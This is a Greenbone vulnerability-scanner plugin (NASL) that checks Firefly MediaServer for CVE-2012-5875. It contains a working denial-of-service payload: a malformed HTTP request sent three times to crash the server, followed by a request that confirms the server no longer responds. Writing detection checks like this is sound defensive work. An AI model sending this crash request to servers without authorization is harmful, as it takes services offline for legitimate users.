Firefly MediaServer HTTP Header Multiple DoS Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803080");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2012-5875");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-12-20 15:49:00 +0530 (Thu, 20 Dec 2012)");
  script_name("Firefly MediaServer HTTP Header Multiple DoS Vulnerabilities");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/80743");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/56999");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2012/Dec/114");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23129");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/118963/");

  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 9999);
  script_mandatory_keys("mt-daapd/banner");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause the server
  to crash, denying service to legitimate users.");

  script_tag(name:"affected", value:"Firefly MediaServer version 1.0.0.1359 and prior.");

  script_tag(name:"insight", value:"The flaw is due to multiple NULL pointer dereference errors
  within the 'firefly.exe' when processing requests with malformed 'CONNECTION',
  'ACCEPT-LANGUGE', 'USER-AGENT', and 'HOST' HTTP header value or malformed HTTP
  protocol version.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"summary", value:"Firefly MediaServer is prone to multiple denial of service vulnerabilities.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:9999);

banner = http_get_remote_headers(port:port);
if("Server: mt-daapd" >!< banner)
  exit(0);

useragent = http_get_user_agent();
host = http_host_name(port:port);

fmExp = string("GET / HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "User-Agent: ", useragent, "\r\n",
               "Accept-Language: en-us\r\n",
               "en;q=0.5\r\n",
               "\r\n",
               "\r\n",
               "Connection: keep-alive\r\n\r\n");

for(i=0; i<3; i++)
  http_send_recv(port: port, data:fmExp);

sleep(2);

fmReq = string("GET / HTTP/1.1\r\n\r\n");
fmRes = http_send_recv(port: port, data:fmReq);
if(!fmRes)
  security_message(port);